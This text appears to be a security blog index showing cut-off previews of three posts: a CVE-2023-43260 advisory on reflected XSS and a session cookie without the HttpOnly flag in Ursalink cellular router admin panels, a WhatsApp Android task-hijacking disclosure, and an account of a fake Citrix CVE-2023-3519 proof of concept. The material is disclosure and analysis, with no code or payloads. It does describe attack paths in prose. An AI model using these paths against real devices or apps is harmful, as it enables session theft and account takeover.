CVE-2023-43260

Reflected Cross-Site Scripting (XSS) and Absent HttpOnly Flag in Ursalink Industrial Cellular Router Admin Panel Leads to Account Takeover

Vulnerability Details

Cross-Site Scripting (XSS) and Absent HttpOnly Flag vulnerabilities in Ursalink Industrial Cellular Router admin panel could allow remote attackers to execute arbitrary scripts and hijack user sessions, potentially leading to account takeover.

The admin panel does not properly validate and sanitize user inputs, allowing malicious scripts to be injected into the page's content. The "td" session cookie lacks the HttpOnly flag (and also Secure Flag), enabling client-side scripts to access it, leading to session hijacking and unauthorized access. Attackers can steal sensitive information, impersonate users, or perform unauthorized actions.

• Affected Products: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Routers could also be vulnerable.

Task Hijacking Vulnerability in WhatsApp - Android

Around a year ago, I discovered a long-standing vulnerability in WhatsApp and other popular Android applications. Despite its existence for years, this vulnerability remained largely theoretical. To demonstrate its real-world impact, I successfully exploited it in WhatsApp, Facebook, and Facebook Lite. I promptly reported my findings to Facebook's Whitehat program. In this post, I'll share the details I provided to Facebook.

Finding Description

While reviewing the WhatsApp Android application we have identified a misconfiguration in AndroidManifest.xml related to task control features. This misconfiguration leads to a critical vulnerability called task hijacking and enables the attack flow against the latest WhatsApp in Android-based phones.

In successful exploitation of the vulnerability, the malicious

As a security professional, you know how important it is to keep yourself updated in the InfoSec world. To keep myself updated about security vulnerabilities, I regularly analyze the latest Common Vulnerabilities and Exposures (CVEs). If the Proof of Concept (PoC) or write-up is publicly available, I try to analyze and understand the root cause of the vulnerability.

Today, I'm going to share a recent experience that left me surprised. I came across a public PoC of CVE-2023-3519 - Unauthenticated Remote Code Execution vulnerability in Citrix ADC that was critical (CVSS score: 9.8/10). The PoC was hosted on Github at https://github.com/knitteruntil0s/CVE-2023-3519 (archive).

While reviewing its code, I was surprised that it was my own code that I wrote a few months ago to demonstrate the [GeoServer SQL injection vulnerability (CVE-2023-25157)](https://
